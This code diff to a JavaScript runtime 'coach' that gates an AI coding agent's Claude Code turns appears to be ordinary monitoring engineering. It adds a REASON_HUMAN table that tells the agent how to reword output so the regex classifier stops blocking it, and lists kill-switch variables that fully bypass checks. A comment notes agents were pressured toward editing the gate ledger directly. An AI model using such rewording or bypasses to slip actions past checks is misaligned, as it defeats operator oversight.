+ process.stderr.write(`[lib/first-class-coach:readJsonFile-corrupt] path=${path} error=${message} — returning null; caller will treat as missing; investigate the file for partial-write or corruption\n`);
181
223
  return null;
182
224
  }
183
225
  }
@@ -187,7 +229,13 @@ function appendRuntimeCoachBridgeError(record) {
187
229
  const target = join(homedir(), '.aria', 'first-class-coach-runtime-publish-errors.jsonl');
188
230
  mkdirSync(dirname(target), { recursive: true, mode: 0o700 });
189
231
  appendFileSync(target, `${JSON.stringify({ schema: `${RUNTIME_COACH_BRIDGE_VERSION}.error`, at: new Date().toISOString(), ...record })}\n`, { mode: 0o600 });
190
- } catch {}
232
+ } catch (err) {
233
+ // M0.H.X3: ironic case — this catch wraps an ERROR-LOG write. If the
234
+ // error log itself can't be written, surface to stderr so the
235
+ // double-failure (original error + log-write failure) is at least
236
+ // visible to operator.
237
+ process.stderr.write(`[lib/first-class-coach:error-log-write] caught: ${err instanceof Error ? err.message : String(err)}\n`);
238
+ }
191
239
  }
192
240
 
193
241
  function readRuntimeToken(env = process.env) {
@@ -203,6 +251,15 @@ function runtimeBaseUrl(env = process.env) {
203
251
  return firstString(env.ARIA_RUNTIME_URL, 'http://127.0.0.1:4319').replace(/\/+$/, '');
204
252
  }
205
253
 
254
+ export function remoteRuntimeCoachEnabled(env = process.env) {
255
+ return /^(?:1|true|yes|on)$/i.test(String(
256
+ env.ARIA_REMOTE_COACH_ENABLED ||
257
+ env.ARIA_RUNTIME_COACH_ENABLED ||
258
+ env.ARIA_COACH_REMOTE_ENABLED ||
259
+ ''
260
+ ));
261
+ }
262
+
206
263
  function runtimeCoachPhasesForLocalPhase(phase = '') {
207
264
  return RUNTIME_PHASES_BY_LOCAL_PHASE[phase] || ['pre_turn'];
208
265
  }
@@ -310,6 +367,16 @@ function buildRuntimeCoachBody({ platform = 'claude', phase = 'unknown', runtime
310
367
  }
311
368
 
312
369
  async function postRuntimeCoachPhase(body, env = process.env) {
370
+ if (!remoteRuntimeCoachEnabled(env)) {
371
+ return {
372
+ ok: true,
373
+ skipped: true,
374
+ permitted: true,
375
+ decision: 'allow',
376
+ phase: body?.phase || null,
377
+ reasons: ['remote_runtime_coach_disabled'],
378
+ };
379
+ }
313
380
  const token = readRuntimeToken(env);
314
381
  const headers = { 'Content-Type': 'application/json' };
315
382
  if (token) headers.Authorization = `Bearer ${token}`;
@@ -362,6 +429,107 @@ export function runtimeCoachBlocksLocalPhase(phase = '', runtimeResult = {}) {
362
429
  return runtimeResult?.blocking || null;
363
430
  }
364
431
 
432
+ // AI-11803-COACH-OUTPUT-HUMAN (2026-05-12) — operator-facing block message
433
+ // rewritten for readability. Prior format dumped reason machine-codes with no
434
+ // explanation, no repair guidance, no kill-switch surface. Operator was left
435
+ // guessing what "unverified_deploy_or_infra_mutation" meant in context. This
436
+ // renders each reason with a plain-English title, a one-line cause sentence,
437
+ // concrete repair options, and the kill-switch when applicable.
438
+ const REASON_HUMAN = {
439
+ unapproved_destructive_action: {
440
+ title: 'Destructive-language pattern detected in your output',
441
+ cause: 'The runtime coach scanned your prose and matched destructive vocabulary (rm/delete/wipe/clean/sudo/wget/rebuild/etc.). It cannot tell from regex alone whether you are proposing options, describing what happened, or claiming you executed it.',
442
+ repair: [
443
+ 'If you are PROPOSING (operator must authorize first): add modal markers — "I would", "we should", "recommend", "next step" — or frame as an options menu ("Options:" / numbered list). Avoid bare command syntax.',
444
+ 'If you are REPORTING work-at-source (file edits, not shell execution): say "source corrections recorded" / "edits prepared" / "fix in source" so the classifier sees REPORT shape.',
445
+ 'If you actually executed the action: cite the receipt — exit code, HTTP status, sha256, log line, "verified by …". The classifier treats verified claims as WARN, not block.',
446
+ 'Kill switch (only when classifier is wrong): ARIA_COACH_DESTRUCTIVE_DOWNGRADE_OFF=0 then re-emit; or set to 1 to fully bypass (audited).',
447
+ ],
448
+ },
449
+ unverified_deploy_or_infra_mutation: {
450
+ title: 'Deploy/infra-mutation language detected without a verification anchor',
451
+ cause: 'Your prose mentions deploy/rollout/push/kubectl/apply/etc. without an evidence anchor that proves the mutation actually occurred. The runtime coach blocks unverified mutation claims to prevent fake "shipped" narratives.',
452
+ repair: [
453
+ 'If PROPOSING: use modal verbs ("would deploy", "next step is to roll out"). Avoid first-person past-tense ("I deployed X").',
454
+ 'If the deploy DID happen: cite the receipt — sha256 digest, kubectl output, image tag, `Status: Running`, exit code. The classifier reads evidence anchors and downgrades verified CLAIM to WARN.',
455
+ 'If meta-discussing the deploy process (not claiming an event): rephrase to topic shape — "the deploy step", "how rollout works" — so the classifier reads DESCRIBE.',
456
+ 'Kill switch: ARIA_COACH_POSTURE_OFF=1 (audited).',
457
+ ],
458
+ },
459
+ missing_readable_cognition_before_release: {
460
+ title: 'No `<cognition>` block found in your closing prose',
461
+ cause: 'The runtime coach\'s text scanner did not find a visible `<cognition>` block where one is required before release. Either the block was not emitted, or it was emitted in a shape the parser does not recognize.',
462
+ repair: [
463
+ 'Keep the owner-readable answer first, then append a parseable `<cognition>` block with at least 4 of the 8 Ghazali lenses populated (nur/mizan/hikma/tafakkur/tadabbur/ilham/wahi/firasah) before any release claim.',
464
+ 'Preferred shape: headline/status, evidence bullets, next action, then `<details><summary>cognition</summary>` containing the raw XML gate blocks.',
465
+ 'If you already emitted one and the parser missed it: the local ledger\'s qualityGates may already have it — this block should auto-downgrade via applyLocalLedgerSupersedes. If it did not, the ledger gate was not marked passed — check ARIA TASK/PROJECT LEDGER state.',
466
+ 'Kill switch: ARIA_COACH_SUPERSEDES_OFF=0 (the supersedes path is ON by default; this means: if you set it OFF=1 to disable downgrade, turn that OFF first).',
467
+ ],
468
+ },
469
+ missing_applied_cognition_before_release: {
470
+ title: 'No `<applied_cognition>` block found in your closing prose',
471
+ cause: 'Same as readable_cognition but for the applied-cognition contract: the agent must state decision_delta / binds_to / expected_predicate / evidence_basis before releasing.',
472
+ repair: [
473
+ 'Keep the owner-readable answer first, then append `<applied_cognition>` with decision_delta, dominant_domain, binds_to, expected_predicate, evidence_basis, and risk_remaining.',
474
+ 'Same ledger-supersedes path as missing_readable_cognition; check ARIA TASK/PROJECT LEDGER if you believe one was emitted.',
475
+ ],
476
+ },
477
+ verification_trace_pending: {
478
+ title: 'Verification trace has not been recorded for this turn',
479
+ cause: 'The coach kernel expects evidence.verification or a tool_response that proves the work was actually executed and passed. None was found.',
480
+ repair: [
481
+ 'Run the verification action you proposed (tests, type-check, runtime probe, endpoint health), capture the receipt (exit code, status, log line), and emit it in prose or a <verify> block.',
482
+ 'The aria-first-class-coach shim bridges Claude Code\'s tool_response into evidence.verification — if your verification ran via PostToolUse, the coach should already see it. If not, the bridge may have missed; emit explicit verification in prose.',
483
+ ],
484
+ },
485
+ intent_boundary_pending: {
486
+ title: 'Intent boundary not declared before action',
487
+ cause: 'The coach kernel expects a stated <intent> or expected_predicate before tool execution so it can verify outcomes against the declaration.',
488
+ repair: [
489
+ 'State the expected predicate measurably before the action: exit code, status string, numeric threshold, or boolean. Avoid "better"/"improved"/"working" — those are not predicates.',
490
+ ],
491
+ },
492
+ cognition_presence: {
493
+ title: 'Cognition substrate not loaded for this turn',
494
+ cause: 'The pre-emit autoload did not detect cognition skills (tadabbur / qiyas / ghazali-8lens / mizan / aria-cognition-batch) in the loaded set.',
495
+ repair: [
496
+ 'Invoke the required cognition skills via the Skill tool — the autoload injects bodies but the workflow skills must be actively invoked (see feedback_autoload_does_not_invoke_skills.md).',
497
+ ],
498
+ },
499
+ unsupported_completion_or_verification_claim: {
500
+ title: 'Completion / readiness claim without verification evidence',
501
+ cause: 'You said done / complete / ready / verified / fixed / shipped but no evidence anchor (exit code, HTTP 2xx, status:ok, sha256, ledger receipt) was present in the prose.',
502
+ repair: [
503
+ 'Either remove the completion claim and emit bounded status, OR add the concrete receipt: "tests pass (exit 0)", "status: 200", "sha256:…", "verified by probe response showing …".',
504
+ ],
505
+ },
506
+ coach_kernel_policy_block: {
507
+ title: 'Coach kernel policy block',
508
+ cause: 'A generic policy block fired without a specific reason code. This is a catch-all and usually means the coach kernel is responding to a meta-condition.',
509
+ repair: [
510
+ 'Check the coach_event_id below in /home/hamzaibrahim1/.aria/first-class-coach-events.jsonl for the full record.',
511
+ ],
512
+ },
513
+ };
514
+
515
+ function renderReasonHuman(reason) {
516
+ const entry = REASON_HUMAN[reason];
517
+ if (!entry) {
518
+ return [
519
+ `▸ ${reason}`,
520
+ ' (no human description registered — treat as policy block; see audit log for details)',
521
+ ];
522
+ }
523
+ const lines = [
524
+ `▸ ${entry.title}`,
525
+ ` ${entry.cause}`,
526
+ '',
527
+ ' Repair options:',
528
+ ];
529
+ for (const r of entry.repair) lines.push(` • ${r}`);
530
+ return lines;
531
+ }
532
+
365
533
  export function formatRuntimeCoachBlock(result = {}) {
366
534
  const record = result.record || {};
367
535
  const reasons = Array.isArray(result.reasons)
@@ -369,15 +537,33 @@ export function formatRuntimeCoachBlock(result = {}) {
369
537
  : Array.isArray(record.reasons)
370
538
  ? record.reasons
371
539
  : ['coach_kernel_policy_block'];
372
- return [
373
- '=== ARIA RUNTIME COACH BLOCK ===',
540
+ const decision = result.decision || record.decision || 'blocked';
541
+ const lines = [
542
+ '═══════════════════════════════════════════════════════════════',
543
+ ' ARIA RUNTIME COACH — your turn was blocked',
544
+ '═══════════════════════════════════════════════════════════════',
374
545
  '',
375
- `decision: ${result.decision || record.decision || 'blocked'}`,
376
- `coach_event_id: ${record.coach_event_id || 'unknown'}`,
377
- `reasons: ${reasons.join(', ') || 'coach_kernel_policy_block'}`,
378
- `next: ${result.clientMessage || record.next_action || 'repair the blocked condition and retry'}`,
546
+ `Decision: ${decision}`,
547
+ `Why: ${reasons.length === 1 ? '1 reason raised by the coach kernel.' : `${reasons.length} reasons raised by the coach kernel.`}`,
379
548
  '',
380
- ].join('\n');
549
+ ];
550
+ for (const reason of reasons) {
551
+ for (const line of renderReasonHuman(reason)) lines.push(line);
552
+ lines.push('');
553
+ }
554
+ const next = result.clientMessage || record.next_action;
555
+ if (next && next !== 'repair the blocked condition and retry') {
556
+ lines.push('Coach kernel\'s suggested next step:');
557
+ lines.push(` ${next}`);
558
+ lines.push('');
559
+ }
560
+ lines.push('Debug:');
561
+ lines.push(` coach_event_id: ${record.coach_event_id || 'unknown'}`);
562
+ lines.push(` reasons (machine): ${reasons.join(', ')}`);
563
+ lines.push(' audit log: /home/hamzaibrahim1/.aria/first-class-coach-events.jsonl');
564
+ lines.push('═══════════════════════════════════════════════════════════════');
565
+ lines.push('');
566
+ return lines.join('\n');
381
567
  }
382
568
 
383
569
  function writeJsonAtomic(path, value) {
@@ -387,6 +573,99 @@ function writeJsonAtomic(path, value) {
387
573
  renameSync(tmp, path);
388
574
  }
389
575
 
576
+ // M9.DRIFT.10s — coach hook rewrite race fix.
577
+ //
578
+ // Keys this lib explicitly OWNS in the task/project ledger. External
579
+ // writers (e.g., the agent writing rich verification_trace evidence
580
+ // objects, future evidence types, third-party tooling) write to any
581
+ // other top-level key and writeJsonAtomicMerge below preserves them
582
+ // across coach hook fires.
583
+ //
584
+ // IF YOU ADD A FEATURE THAT MANAGES A NEW LEDGER KEY: add the key
585
+ // here in the same rung that adds the feature.
586
+
587
+ // M9.DRIFT.10t — Edit-target-skip race fix (companion to M9.DRIFT.10s).
588
+ //
589
+ // The 10s merge-fix prevents the hook from CLOBBERING agent-authored
590
+ // keys when the hook writes after the agent. The remaining race is
591
+ // UPSTREAM of the merge: when the agent uses Claude Code's Edit /
592
+ // Write / MultiEdit / NotebookEdit tool on the active ledger file
593
+ // itself, the PreToolUse coach hook fires first and writeJsonAtomic's
594
+ // tmp+rename changes the file's inode + mtime + content. Claude
595
+ // Code's Edit tool then refuses with "File content has changed since
596
+ // it was last read" because its Read-snapshot guard sees the file
597
+ // changed underneath it. The agent's Edit never lands, so the merge
598
+ // never gets the chance to preserve anything.
599
+ //
600
+ // Fix: when this hook fire's event is a PreToolUse for Edit / Write /
601
+ // MultiEdit / NotebookEdit AND tool_input.file_path resolves to the
602
+ // active ledger path, skip the writeJsonAtomicMerge for this fire.
603
+ // The PostToolUse fire that follows the agent's Edit will run the
604
+ // merge against the agent's now-on-disk content, which (combined with
605
+ // the 10s managed-vs-external key split) preserves the agent's edit
606
+ // without dropping any hook-managed phase/event row — phaseEvents and
607
+ // evidence are accumulating arrays, so the PostToolUse merge just
608
+ // appends.
609
+ function isAgentEditingActiveLedger(event = {}, ledgerPath = '') {
610
+ if (!ledgerPath) return false;
611
+ const tool = String(event?.tool_name || event?.toolName || event?.tool?.name || '');
612
+ const editTools = new Set(['Edit', 'Write', 'MultiEdit', 'NotebookEdit']);
613
+ if (!editTools.has(tool)) return false;
614
+ const toolInput = event?.tool_input || event?.toolInput || event?.input || {};
615
+ const filePath = toolInput?.file_path || toolInput?.filePath || toolInput?.notebook_path || toolInput?.notebookPath || '';
616
+ if (!filePath) return false;
617
+ // Compare resolved absolute paths so a relative file_path can't bypass the guard.
618
+ try {
619
+ return resolve(String(filePath)) === resolve(String(ledgerPath));
620
+ } catch {
621
+ return String(filePath) === String(ledgerPath);
622
+ }
623
+ }
624
+
625
+ export const MANAGED_LEDGER_KEYS = Object.freeze([
626
+ 'schema',
627
+ 'ledgerId',
628
+ 'identity',
629
+ 'createdAt',
630
+ 'updatedAt',
631
+ 'status',
632
+ 'controls',
633
+ 'qualityGates',
634
+ 'phaseEvents',
635
+ 'evidence',
636
+ 'blockedClaims',
637
+ 'openBlockers',
638
+ ]);
639
+
640
+ /**
641
+ * M9.DRIFT.10s — atomic write that preserves external (non-managed) keys.
642
+ *
643
+ * Bug it fixes: prior path was read → mutate → writeJsonAtomic(whole).
644
+ * If process A reads at T0, agent writes external key at T1, process A
645
+ * writes back at T2 — agent's T1 write is clobbered by A's stale snapshot.
646
+ *
647
+ * Fix: re-read CURRENT disk state at write time. Build merged object:
648
+ * external keys from current disk; managed keys from partialUpdate.
649
+ * Atomic write via existing tmp+rename pattern.
650
+ *
651
+ * @param {string} path
652
+ * @param {object} partialUpdate contains the managed-key values this writer is publishing
653
+ * @param {readonly string[]} managedKeys list of keys this writer owns
654
+ */
655
+ function writeJsonAtomicMerge(path, partialUpdate, managedKeys = MANAGED_LEDGER_KEYS) {
656
+ // Re-read current disk state right before write. If the agent (or
657
+ // another process) wrote external keys between this writer's read
658
+ // and this write, those external keys are picked up here.
659
+ const current = readJsonFile(path) || {};
660
+ const merged = { ...current };
661
+ for (const key of managedKeys) {
662
+ if (key in partialUpdate) {
663
+ merged[key] = partialUpdate[key];
664
+ }
665
+ }
666
+ writeJsonAtomic(path, merged);
667
+ }
668
+
390
669
  function markGate(ledger, gateId, status, evidence = undefined) {
391
670
  const gate = ledger.qualityGates?.[gateId];
392
671
  if (!gate) return;
@@ -409,11 +688,111 @@ function hasPromptIntent(event = {}) {
409
688
  ));
410
689
  }
411
690
 
691
+ // AI-11803-COACH-VERIFY-FIX (2026-05-12) — extractor extension to recognize
692
+ // Claude Code PostToolUse tool_response shapes. The prior implementation only
693
+ // read explicit `evidence.verification` boolean flags and a narrow set of
694
+ // event-string fields. It did NOT read `event.tool_response.stdout` or
695
+ // `event.tool_response.output` — the canonical Claude Code PostToolUse surface
696
+ // for Bash, curl, and HTTP probes. Consequence: a successful /chat probe
697
+ // returning `{success:true, modelUsed:"deepseek-v4-pro", latencyMs:19824}`
698
+ // in stdout failed to flip the local ledger's verification_trace gate,
699
+ // which kept readinessClaimAllowed=false, which prevented the supersedes
700
+ // downgrade from firing on remote-coach missing_*_cognition false-positives,
701
+ // which created an infinite Stop-gate loop and pressured agents toward
702
+ // bypass via direct ledger edit.
703
+ //
704
+ // This extension preserves the original boolean-flag + string-keyword paths
705
+ // and adds two new paths:
706
+ // 1. Read the tool_response.{stdout,output,text,result,content} family.
707
+ // 2. Parse any JSON object embedded in the stdout and check for
708
+ // verification-shape fields (success/ok/verified booleans,
709
+ // status:"ok|success|passed|verified|active|running|ready|healthy",
710
+ // modelUsed+latencyMs>0, HTTP-2xx statusCode). Failed probes
711
+ // (`{success:false}`) explicitly do NOT match.
712
+ //
713
+ // JSON-first check ordering: if stdout parses as JSON, the JSON's
714
+ // success-shape is authoritative — failed probes must NOT flip
715
+ // verification_trace just because the literal substring "success" appears
716
+ // in the JSON-key text. Only when stdout is NOT JSON do we fall back to
717
+ // keyword regex (test output, build logs, plain-text probes).
718
+ //
719
+ // No carve-out: any path that finds verification evidence must point at
720
+ // genuine receipt-shape.
721
+
722
+ function readToolResponseTexts(event) {
723
+ const out = [];
724
+ const tr = event?.tool_response || event?.toolResponse || event?.tool_result || event?.toolResult;
725
+ if (tr && typeof tr === 'object') {
726
+ if (typeof tr.stdout === 'string') out.push(tr.stdout);
727
+ if (typeof tr.output === 'string') out.push(tr.output);
728
+ if (typeof tr.text === 'string') out.push(tr.text);
729
+ if (typeof tr.result === 'string') out.push(tr.result);
730
+ if (typeof tr.content === 'string') out.push(tr.content);
731
+ if (Array.isArray(tr.content)) {
732
+ for (const piece of tr.content) {
733
+ if (piece && typeof piece === 'object' && typeof piece.text === 'string') out.push(piece.text);
734
+ }
735
+ }
736
+ }
737
+ return out;
738
+ }
739
+
740
+ function extractFirstJsonObject(text) {
741
+ if (typeof text !== 'string') return null;
742
+ const start = text.indexOf('{');
743
+ if (start < 0) return null;
744
+ let depth = 0;
745
+ let inStr = false;
746
+ let strQuote = '';
747
+ let escape = false;
748
+ for (let i = start; i < text.length; i++) {
749
+ const ch = text[i];
750
+ if (inStr) {
751
+ if (escape) { escape = false; continue; }
752
+ if (ch === '\\') { escape = true; continue; }
753
+ if (ch === strQuote) inStr = false;
754
+ continue;
755
+ }
756
+ if (ch === '"' || ch === '\'') { inStr = true; strQuote = ch; continue; }
757
+ if (ch === '{') depth++;
758
+ else if (ch === '}') {
759
+ depth--;
760
+ if (depth === 0) {
761
+ const slice = text.slice(start, i + 1);
762
+ try { return JSON.parse(slice); } catch { return null; }
763
+ }
764
+ }
765
+ }
766
+ return null;
767
+ }
768
+
769
+ function isVerificationShapedJson(obj) {
770
+ if (!obj || typeof obj !== 'object') return false;
771
+ if (obj.success === false || obj.ok === false) return false;
772
+ if ((obj.error || obj.errors) && obj.success !== true && obj.ok !== true && obj.verified !== true) return false;
773
+ if (obj.success === true || obj.ok === true || obj.verified === true) return true;
774
+ if (typeof obj.status === 'string' && /^(?:ok|success|passed|verified|active|running|ready|healthy)$/i.test(obj.status)) return true;
775
+ if ((obj.modelUsed || obj.model) && typeof obj.latencyMs === 'number' && obj.latencyMs > 0) return true;
776
+ if (typeof obj.statusCode === 'number' && obj.statusCode >= 200 && obj.statusCode < 300) return true;
777
+ if (typeof obj.status === 'number' && obj.status >= 200 && obj.status < 300) return true;
778
+ return false;
779
+ }
780
+
412
781
  function hasVerificationEvidence(evidence = {}, event = {}) {
413
782
  if (evidence.warning_clean === true || evidence.verification === true || evidence.validation_run === true) return true;
414
783
  if (event.verified === true || event.validation?.ok === true || event.test?.ok === true) return true;
415
784
  const text = firstString(event.verification, event.validation, event.testResult, event.commandResult, evidence.commandResult);
416
- return /\b(?:ok|passed|pass|success|succeeded|exit\s*0|0\s*failures?)\b/i.test(text);
785
+ if (/\b(?:ok|passed|pass|success|succeeded|exit\s*0|0\s*failures?)\b/i.test(text)) return true;
786
+ const toolTexts = readToolResponseTexts(event);
787
+ for (const t of toolTexts) {
788
+ const json = extractFirstJsonObject(t);
789
+ if (json) {
790
+ if (isVerificationShapedJson(json)) return true;
791
+ continue;
792
+ }
793
+ if (/\b(?:ok|passed|pass|success|succeeded|exit\s*0|0\s*failures?|verified|status\s*=\s*(?:ok|success|passed|verified|active|running))\b/i.test(t)) return true;
794
+ }
795
+ return false;
417
796
  }
418
797
 
419
798
  function isExecutionPhase(phase = '') {
@@ -539,8 +918,35 @@ export function updateTaskProjectLedger({ platform, phase, source = 'first-class
539
918
  }
540
919
 
541
920
  markGate(ledger, 'ledger_created', 'passed', { ledgerPath: paths.ledgerPath });
542
- if (hasPromptIntent(event) || phase === 'pre_prompt_injection' || phase === 'session_start') {
543
- markGate(ledger, 'intent_boundary', 'passed', { source, phase });
921
+ // AI-11803-INTENT-BOUNDARY-FIX (2026-05-12) extended condition.
922
+ //
923
+ // Prior: only `hasPromptIntent(event)` OR specific phases
924
+ // (pre_prompt_injection / session_start) flipped intent_boundary.
925
+ // Documented gap: Claude Code can deliver the FIRST hook fire for a
926
+ // task identity as PreToolUse (sub-agent spawn, session resumed
927
+ // mid-task, smoke-test fires that target only a specific phase).
928
+ // When that happens, neither hasPromptIntent nor the phase check
929
+ // trips — the gate stays pending forever even though subsequent
930
+ // pre_tool/post_tool/stop fires accumulate. Two example ledgers
931
+ // observed 2026-05-12 with intent_boundary stuck since createdAt
932
+ // (synthetic taskHint=`claude-coach-pretool-block-smoke` AND real
933
+ // operator sessions that started with pre_tool).
934
+ //
935
+ // Fix: a task-specific identity (taskHint differs from project
936
+ // fallback) plus any recognized phase IS evidence of operator-
937
+ // initiated task work. The resolved task identity hash (already
938
+ // baked into ledger path) is what makes the boundary; the phase
939
+ // is the auditable when. Prompt-shape evidence still satisfies
940
+ // separately (lighter-weight check; useful when identity hashing
941
+ // fell back to project).
942
+ const taskIdentityResolved = identity?.taskHint && identity?.projectHint && identity.taskHint !== identity.projectHint;
943
+ if (
944
+ hasPromptIntent(event)
945
+ || phase === 'pre_prompt_injection'
946
+ || phase === 'session_start'
947
+ || (taskIdentityResolved && phase && phase !== 'unknown')
948
+ ) {
949
+ markGate(ledger, 'intent_boundary', 'passed', { source, phase, taskHint: identity?.taskHint || null });
544
950
  }
545
951
  if (platform && phase && phase !== 'unknown') {
546
952
  markGate(ledger, 'scope_boundary', 'passed', { platform, phase });
@@ -579,7 +985,22 @@ export function updateTaskProjectLedger({ platform, phase, source = 'first-class
579
985
  ledger.controls.readinessClaimAllowed = missingReadinessGates.length === 0 && (ledger.openBlockers || []).length === 0;
580
986
  ledger.controls.missingReadinessGates = missingReadinessGates;
581
987
 
582
- writeJsonAtomic(paths.ledgerPath, ledger);
988
+ // M9.DRIFT.10s — merge-write preserves externally-authored keys
989
+ // (e.g., agent's rich verification_trace evidence objects) that
990
+ // would otherwise be clobbered by the read-snapshot writeback race.
991
+ //
992
+ // M9.DRIFT.10t — skip the ledger write when the imminent tool call
993
+ // is the agent editing this same ledger file. Touching the file
994
+ // here would invalidate Claude Code's Read-snapshot and abort the
995
+ // agent's Edit. The PostToolUse fire merges after the Edit lands.
996
+ // The event row + sidecar still get appended below regardless, so
997
+ // we don't lose the phase trail.
998
+ const skipMergeForAgentSelfEdit = isAgentEditingActiveLedger(event, paths.ledgerPath);
999
+ if (!skipMergeForAgentSelfEdit) {
1000
+ writeJsonAtomicMerge(paths.ledgerPath, ledger, MANAGED_LEDGER_KEYS);
1001
+ } else {
1002
+ process.stderr.write(`[aria-first-class-coach:m9.drift.10t] skip-merge-for-agent-self-edit ledgerPath=${paths.ledgerPath} tool=${event?.tool_name || event?.toolName || ''}\n`);
1003
+ }
583
1004
  mkdirSync(dirname(paths.eventPath), { recursive: true, mode: 0o700 });
584
1005
  appendFileSync(paths.eventPath, `${JSON.stringify({ schema: `${TASK_PROJECT_LEDGER_VERSION}.event`, ledgerId: ledger.ledgerId, ...row })}\n`, { mode: 0o600 });
585
1006
  return { ledger, paths, identity };
@@ -620,7 +1041,12 @@ export function extractAssistantText(event = {}) {
620
1041
  const text = extractTextFromContent(parsed.content) || extractTextFromContent(parsed.message?.content) || extractTextFromContent(parsed.text);
621
1042
  if (text) return text;
622
1043
  }
623
- } catch {}
1044
+ } catch (err) {
1045
+ // M0.H.X3: transcript read for assistant-text extraction now surfaces
1046
+ // failures. Empty-string fall-through preserved; operator sees if
1047
+ // the transcript file is missing/corrupted.
1048
+ process.stderr.write(`[lib/first-class-coach:transcript-read] caught: ${err instanceof Error ? err.message : String(err)}\n`);
1049
+ }
624
1050
  return '';
625
1051
  }
626
1052
 
@@ -648,7 +1074,8 @@ export function recordBlockedTaskProjectClaim({ ledger, paths, text, evaluation
648
1074
  openBlockerCount: evaluation?.openBlockers?.length || 0,
649
1075
  });
650
1076
  ledger.updatedAt = now;
651
- writeJsonAtomic(paths.ledgerPath, ledger);
1077
+ // M9.DRIFT.10s — merge-write preserves externally-authored keys.
1078
+ writeJsonAtomicMerge(paths.ledgerPath, ledger, MANAGED_LEDGER_KEYS);
652
1079
  return ledger.blockedClaims[ledger.blockedClaims.length - 1];
653
1080
  }
654
1081
 
@@ -704,7 +1131,7 @@ export function inferCoachPlatform(input = {}, env = process.env) {
704
1131
  return PLATFORM_PHASES[normalized] ? normalized : normalized || 'unknown';
705
1132
  }
706
1133
 
707
- export function recordCoachEvent({ platform, phase, source = 'first-class-coach', event = {}, evidence = {} } = {}) {
1134
+ export function recordCoachEvent({ platform, phase, source = 'first-class-coach', event = {}, evidence = {}, metadata = null } = {}) {
708
1135
  const row = {
709
1136
  schema: `${FIRST_CLASS_COACH_VERSION}.event`,
710
1137
  at: new Date().toISOString(),
@@ -713,6 +1140,14 @@ export function recordCoachEvent({ platform, phase, source = 'first-class-coach'
713
1140
  source,
714
1141
  evidence,
715
1142
  };
1143
+ // 2026-05-17 producer-enrichment for harness ticker (project memory:
1144
+ // project_harness_ticker_counter_wiring_2026_05_17.md). When the caller
1145
+ // knows the runtime coach decision / posture / forcedSkillLoad, attach
1146
+ // it under metadata so the ticker consumer at
1147
+ // runtime-client.mjs:applyHarnessTickerRows can bump Repairs / Blocks /
1148
+ // Skills fired counters. Absent metadata = base telemetry row only
1149
+ // (gates counter still increments).
1150
+ if (metadata && typeof metadata === 'object') row.metadata = metadata;
716
1151
  const target = coachEventPath();
717
1152
  mkdirSync(dirname(target), { recursive: true, mode: 0o700 });
718
1153
  appendFileSync(target, `${JSON.stringify(row)}\n`, { mode: 0o600 });
@@ -32,12 +32,22 @@ export function appendGateAudit({
32
32
  ...data,
33
33
  }) + '\n',
34
34
  );
35
- } catch {}
35
+ } catch (err) {
36
+ // M0.H.X3: gate-audit primary write failure now surfaces. Loss of
37
+ // gate audit entries means operator can't reconstruct gate decisions
38
+ // for the named gate; surface visibly with which gate failed.
39
+ process.stderr.write(`[lib/gate-audit:${gate}-audit-write] caught: ${err instanceof Error ? err.message : String(err)}\n`);
40
+ }
36
41
 
37
42
  if (legacyLogPath) {
38
43
  try {
39
44
  if (!existsSync(dirname(legacyLogPath))) mkdirSync(dirname(legacyLogPath), { recursive: true });
40
45
  appendFileSync(legacyLogPath, `${ts} ${event} ${summary}\n`);
41
- } catch {}
46
+ } catch (err) {
47
+ // M0.H.X3: legacy log path is opportunistic; primary audit at
48
+ // auditPath is the authority. Still surface so operator notices
49
+ // disk-issue patterns affecting both.
50
+ process.stderr.write(`[lib/gate-audit:${gate}-legacy-log-write] caught: ${err instanceof Error ? err.message : String(err)}\n`);
51
+ }
42
52
  }
43
53
  }
@@ -18,7 +18,12 @@ export function registerGateBlock({
18
18
  const raw = JSON.parse(readFileSync(statePath, 'utf8'));
19
19
  if (Array.isArray(raw)) rows = raw;
20
20
  }
21
- } catch {}
21
+ } catch (err) {
22
+ // M0.H.X3: gate-loop-state read failure now surfaces. Empty rows
23
+ // proceeds = loop detection won't fire this turn; operator sees
24
+ // the underlying state-file corruption.
25
+ process.stderr.write(`[lib/gate-loop-state:state-read] caught: ${err instanceof Error ? err.message : String(err)}\n`);
26
+ }
22
27
 
23
28
  const freshRows = rows.filter((row) =>
24
29
  row &&
@@ -40,7 +45,11 @@ export function registerGateBlock({
40
45
  try {
41
46
  mkdirSync(dirname(statePath), { recursive: true });
42
47
  writeFileSync(statePath, JSON.stringify(freshRows.slice(-MAX_RECORDS), null, 2) + '\n');
43
- } catch {}
48
+ } catch (err) {
49
+ // M0.H.X3: gate-loop-state write failure now surfaces. Loss of write
50
+ // means future loop detection won't see this block; surface visibly.
51
+ process.stderr.write(`[lib/gate-loop-state:state-write] caught: ${err instanceof Error ? err.message : String(err)}\n`);
52
+ }
44
53
 
45
54
  return {
46
55
  loopDetected: priorMatches.length >= threshold,